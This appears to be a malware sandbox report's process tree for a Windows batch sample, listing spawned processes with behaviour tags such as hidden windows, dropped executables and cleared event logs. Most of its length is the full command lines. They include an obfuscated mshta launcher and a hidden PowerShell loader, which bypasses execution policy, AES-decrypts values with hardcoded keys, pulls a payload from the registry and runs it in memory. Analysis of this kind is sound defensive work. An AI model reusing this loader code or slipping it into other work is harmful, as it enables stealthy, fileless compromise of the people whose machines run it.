  C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-yaOohEgWtYQFlJYLbCNz4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
  2⤵
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:5608
- - C:\Windows\$sxr-cmd.exe
    "C:\Windows\$sxr-cmd.exe" /c %$sxr-yaOohEgWtYQFlJYLbCNz4312:&#<?=%
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:5768
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6000
  - - C:\Windows\$sxr-powershell.exe
      C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function azANg($uqXcZ){ $cbnHX=[System.Security.Cryptography.Aes]::Create(); $cbnHX.Mode=[System.Security.Cryptography.CipherMode]::CBC; $cbnHX.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $cbnHX.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fck+xvSlv2Uh8IsfxUtlDpIoi71iImwYPR/jJfxqvy8='); $cbnHX.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e5olPyymclPw88cZyGmHAQ=='); $tPnBs=$cbnHX.('rotpyrceDetaerC'[-1..-15] -join '')(); $OoDml=$tPnBs.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uqXcZ, 0, $uqXcZ.Length); $tPnBs.Dispose(); $cbnHX.Dispose(); $OoDml;}function ZoBIE($uqXcZ){ $JJhJP=New-Object System.IO.MemoryStream(,$uqXcZ); $vdOzc=New-Object System.IO.MemoryStream; $jytZc=New-Object System.IO.Compression.GZipStream($JJhJP, [IO.Compression.CompressionMode]::Decompress); $jytZc.CopyTo($vdOzc); $jytZc.Dispose(); $JJhJP.Dispose(); $vdOzc.Dispose(); $vdOzc.ToArray();}function svoMW($uqXcZ,$bmkZU){ $Qbemx=[System.Reflection.Assembly]::Load([byte[]]$uqXcZ); $hKpcO=$Qbemx.EntryPoint; $hKpcO.Invoke($null, $bmkZU);}$cbnHX1 = New-Object System.Security.Cryptography.AesManaged;$cbnHX1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$cbnHX1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$cbnHX1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fck+xvSlv2Uh8IsfxUtlDpIoi71iImwYPR/jJfxqvy8=');$cbnHX1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e5olPyymclPw88cZyGmHAQ==');$qqkyS = $cbnHX1.('rotpyrceDetaerC'[-1..-15] -join '')();$lBOHA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7ATyLhVzuRZSCEb4Wpirnw==');$lBOHA = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA, 0, $lBOHA.Length);$lBOHA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA);$gCblT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jxrd8kgTkv+rQ6GcuP5P4TNhUXd/YatD5jiKcBcIT0w=');$gCblT = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gCblT, 0, $gCblT.Length);$gCblT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gCblT);$MoiPF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZnS96k4SmeuGyhAzp7fpWw==');$MoiPF = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MoiPF, 0, $MoiPF.Length);$MoiPF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MoiPF);$PmWDJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pCPOtqi4Y0DHQO+ihrY+tfIA7KnzyLYON20gPk0kvAP3y03cyd2zU/RLHKMm4dM6miTpImJEXMvK5Ggjj2LKCQ4SSFHwGxmglt1SMUPjSK+drIxEtX4mexjiOxAVt5hWwlMGrlZidNK9ok2N8XEffv/1J4rSh4rld11EYjLJ/EqrETJJ/SK7FsEba8MZDrZmivgISTeVHPS3niBfrUxu7eCU1VGHwlMJF+Ti21Blzly9FDtJX1BJyI7HDF41aMNiBAv7QMVOh2ED3EL9cQpTbxxZqgVOuJx5b1TnO3H1N7w45jg/R3WZydYVfBzEcU/69pMim+aKYKIqJ2KBEbOIDe2AJfMjwI6kE1B0Xstrl2rDks6tpr0UxeE/8oCeuGdWFB8W0t6bAdeLc3ymya/QBPDCzB2PIPhfkaAFz4KkDOE=');$PmWDJ = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PmWDJ, 0, $PmWDJ.Length);$PmWDJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PmWDJ);$JCxOf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vPyiOLDgG9SqnslKLhN0jg==');$JCxOf = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JCxOf, 0, $JCxOf.Length);$JCxOf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JCxOf);$NdBND = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('n/Gxi+/N6OsDAKE3yo1SmA==');$NdBND = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NdBND, 0, $NdBND.Length);$NdBND = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NdBND);$VXJOL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p0Y7zegza2XZHoFsuX1Pog==');$VXJOL = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($VXJOL, 0, $VXJOL.Length);$VXJOL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($VXJOL);$nzWLe = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ibAuWzVfc3wceZVYaYIFNA==');$nzWLe = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nzWLe, 0, $nzWLe.Length);$nzWLe = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nzWLe);$RpMjm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('McPgfhEQWUWFSryKG8gAkw==');$RpMjm = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RpMjm, 0, $RpMjm.Length);$RpMjm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RpMjm);$lBOHA0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IDuGQC5iWJNXZjqVT0zydA==');$lBOHA0 = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA0, 0, $lBOHA0.Length);$lBOHA0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA0);$lBOHA1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('y2C7a55flzCR+6ndfHJBbQ==');$lBOHA1 = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA1, 0, $lBOHA1.Length);$lBOHA1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA1);$lBOHA2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zGGWTwppPD1/U4shRzPOLg==');$lBOHA2 = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA2, 0, $lBOHA2.Length);$lBOHA2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA2);$lBOHA3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Ylf1zOgubGQAutCaP2Nj9w==');$lBOHA3 = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA3, 0, $lBOHA3.Length);$lBOHA3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA3);$qqkyS.Dispose();$cbnHX1.Dispose();if (@(get-process -ea silentlycontinue $lBOHA3).count -gt 1) {exit};$veKQl = [Microsoft.Win32.Registry]::$nzWLe.$VXJOL($lBOHA).$NdBND($gCblT);$iCUMt=[string[]]$veKQl.Split('\');$dPiOe=ZoBIE(azANg([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($iCUMt[1])));svoMW $dPiOe (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$awxEY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($iCUMt[0]);$cbnHX = New-Object System.Security.Cryptography.AesManaged;$cbnHX.Mode = [System.Security.Cryptography.CipherMode]::CBC;$cbnHX.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$cbnHX.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fck+xvSlv2Uh8IsfxUtlDpIoi71iImwYPR/jJfxqvy8=');$cbnHX.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e5olPyymclPw88cZyGmHAQ==');$tPnBs = $cbnHX.('rotpyrceDetaerC'[-1..-15] -join '')();$awxEY = $tPnBs.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($awxEY, 0, $awxEY.Length);$tPnBs.Dispose();$cbnHX.Dispose();$JJhJP = New-Object System.IO.MemoryStream(, $awxEY);$vdOzc = New-Object System.IO.MemoryStream;$jytZc = New-Object System.IO.Compression.GZipStream($JJhJP, [IO.Compression.CompressionMode]::$lBOHA1);$jytZc.$RpMjm($vdOzc);$jytZc.Dispose();$JJhJP.Dispose();$vdOzc.Dispose();$awxEY = $vdOzc.ToArray();$ypvcV = $PmWDJ | IEX;$Qbemx = $ypvcV::$lBOHA2($awxEY);$hKpcO = $Qbemx.EntryPoint;$hKpcO.$lBOHA0($null, (, [string[]] ($MoiPF)))
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Hide Artifacts: Hidden Window
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:932
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{eab199df-5db0-43bd-b298-44c25face1d7}
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4988
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(932).WaitForExit();[System.Threading.Thread]::Sleep(5000); function azANg($uqXcZ){ $cbnHX=[System.Security.Cryptography.Aes]::Create(); $cbnHX.Mode=[System.Security.Cryptography.CipherMode]::CBC; $cbnHX.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $cbnHX.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fck+xvSlv2Uh8IsfxUtlDpIoi71iImwYPR/jJfxqvy8='); $cbnHX.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e5olPyymclPw88cZyGmHAQ=='); $tPnBs=$cbnHX.('rotpyrceDetaerC'[-1..-15] -join '')(); $OoDml=$tPnBs.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uqXcZ, 0, $uqXcZ.Length); $tPnBs.Dispose(); $cbnHX.Dispose(); $OoDml;}function ZoBIE($uqXcZ){ $JJhJP=New-Object System.IO.MemoryStream(,$uqXcZ); $vdOzc=New-Object System.IO.MemoryStream; $jytZc=New-Object System.IO.Compression.GZipStream($JJhJP, [IO.Compression.CompressionMode]::Decompress); $jytZc.CopyTo($vdOzc); $jytZc.Dispose(); $JJhJP.Dispose(); $vdOzc.Dispose(); $vdOzc.ToArray();}function svoMW($uqXcZ,$bmkZU){ $Qbemx=[System.Reflection.Assembly]::Load([byte[]]$uqXcZ); $hKpcO=$Qbemx.EntryPoint; $hKpcO.Invoke($null, $bmkZU);}$cbnHX1 = New-Object System.Security.Cryptography.AesManaged;$cbnHX1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$cbnHX1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$cbnHX1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fck+xvSlv2Uh8IsfxUtlDpIoi71iImwYPR/jJfxqvy8=');$cbnHX1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e5olPyymclPw88cZyGmHAQ==');$qqkyS = $cbnHX1.('rotpyrceDetaerC'[-1..-15] -join '')();$lBOHA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7ATyLhVzuRZSCEb4Wpirnw==');$lBOHA = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA, 0, $lBOHA.Length);$lBOHA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA);$gCblT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jxrd8kgTkv+rQ6GcuP5P4TNhUXd/YatD5jiKcBcIT0w=');$gCblT = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gCblT, 0, $gCblT.Length);$gCblT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gCblT);$MoiPF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZnS96k4SmeuGyhAzp7fpWw==');$MoiPF = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MoiPF, 0, $MoiPF.Length);$MoiPF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MoiPF);$PmWDJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pCPOtqi4Y0DHQO+ihrY+tfIA7KnzyLYON20gPk0kvAP3y03cyd2zU/RLHKMm4dM6miTpImJEXMvK5Ggjj2LKCQ4SSFHwGxmglt1SMUPjSK+drIxEtX4mexjiOxAVt5hWwlMGrlZidNK9ok2N8XEffv/1J4rSh4rld11EYjLJ/EqrETJJ/SK7FsEba8MZDrZmivgISTeVHPS3niBfrUxu7eCU1VGHwlMJF+Ti21Blzly9FDtJX1BJyI7HDF41aMNiBAv7QMVOh2ED3EL9cQpTbxxZqgVOuJx5b1TnO3H1N7w45jg/R3WZydYVfBzEcU/69pMim+aKYKIqJ2KBEbOIDe2AJfMjwI6kE1B0Xstrl2rDks6tpr0UxeE/8oCeuGdWFB8W0t6bAdeLc3ymya/QBPDCzB2PIPhfkaAFz4KkDOE=');$PmWDJ = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PmWDJ, 0, $PmWDJ.Length);$PmWDJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PmWDJ);$JCxOf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vPyiOLDgG9SqnslKLhN0jg==');$JCxOf = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JCxOf, 0, $JCxOf.Length);$JCxOf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JCxOf);$NdBND = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('n/Gxi+/N6OsDAKE3yo1SmA==');$NdBND = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NdBND, 0, $NdBND.Length);$NdBND = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NdBND);$VXJOL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p0Y7zegza2XZHoFsuX1Pog==');$VXJOL = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($VXJOL, 0, $VXJOL.Length);$VXJOL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($VXJOL);$nzWLe = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ibAuWzVfc3wceZVYaYIFNA==');$nzWLe = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nzWLe, 0, $nzWLe.Length);$nzWLe = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nzWLe);$RpMjm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('McPgfhEQWUWFSryKG8gAkw==');$RpMjm = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RpMjm, 0, $RpMjm.Length);$RpMjm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RpMjm);$lBOHA0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IDuGQC5iWJNXZjqVT0zydA==');$lBOHA0 = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA0, 0, $lBOHA0.Length);$lBOHA0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA0);$lBOHA1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('y2C7a55flzCR+6ndfHJBbQ==');$lBOHA1 = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA1, 0, $lBOHA1.Length);$lBOHA1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA1);$lBOHA2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zGGWTwppPD1/U4shRzPOLg==');$lBOHA2 = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA2, 0, $lBOHA2.Length);$lBOHA2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA2);$lBOHA3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Ylf1zOgubGQAutCaP2Nj9w==');$lBOHA3 = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA3, 0, $lBOHA3.Length);$lBOHA3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA3);$qqkyS.Dispose();$cbnHX1.Dispose();if (@(get-process -ea silentlycontinue $lBOHA3).count -gt 1) {exit};$veKQl = [Microsoft.Win32.Registry]::$nzWLe.$VXJOL($lBOHA).$NdBND($gCblT);$iCUMt=[string[]]$veKQl.Split('\');$dPiOe=ZoBIE(azANg([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($iCUMt[1])));svoMW $dPiOe (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$awxEY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($iCUMt[0]);$cbnHX = New-Object System.Security.Cryptography.AesManaged;$cbnHX.Mode = [System.Security.Cryptography.CipherMode]::CBC;$cbnHX.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$cbnHX.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fck+xvSlv2Uh8IsfxUtlDpIoi71iImwYPR/jJfxqvy8=');$cbnHX.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e5olPyymclPw88cZyGmHAQ==');$tPnBs = $cbnHX.('rotpyrceDetaerC'[-1..-15] -join '')();$awxEY = $tPnBs.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($awxEY, 0, $awxEY.Length);$tPnBs.Dispose();$cbnHX.Dispose();$JJhJP = New-Object System.IO.MemoryStream(, $awxEY);$vdOzc = New-Object System.IO.MemoryStream;$jytZc = New-Object System.IO.Compression.GZipStream($JJhJP, [IO.Compression.CompressionMode]::$lBOHA1);$jytZc.$RpMjm($vdOzc);$jytZc.Dispose();$JJhJP.Dispose();$vdOzc.Dispose();$awxEY = $vdOzc.ToArray();$ypvcV = $PmWDJ | IEX;$Qbemx = $ypvcV::$lBOHA2($awxEY);$hKpcO = $Qbemx.EntryPoint;$hKpcO.$lBOHA0($null, (, [string[]] ($MoiPF)))
        5⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3436
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{3e541356-48b4-4e70-9807-d2a9b7a3fbf7}
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4004
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{4e7b2056-1505-414c-854c-8f09afeae4e7}
        5⤵
        
        PID:5084
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{b654eac9-3ed1-4971-9c37-8e5cb51287d4}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4308
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{501edfef-fe2c-4bef-8878-17ebd0a81579}
        5⤵
        
        PID:884
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 884 -s 464
        6⤵
        Program crash
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:2456
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{2ad957b0-9e38-4485-aa6e-0f21774f3099}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3620
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3620 -s 476
        6⤵
        Program crash
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:4752
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{2f53d02d-eee0-4c68-ba6a-b9d006a42fa6}
        5⤵
        
        PID:1312
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{5334a8e1-92ba-4a3e-80cc-e95cc05dbb71}
        5⤵
        
        PID:5400
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{291e5167-1b0f-43f1-8c3a-bb85060da773}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4592
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{729cc4c2-3162-4d24-a2d0-dbf460bd7938}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4120
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4120 -s 476
        6⤵
        Program crash
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1284

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1564

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1684
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1892

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1932

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2020

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1016

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1536

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1600

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2188

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2212

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2588

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:2724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2880

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:812

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\obf.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5156
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4604
- - C:\Users\Admin\AppData\Local\Temp\obf.bat.exe
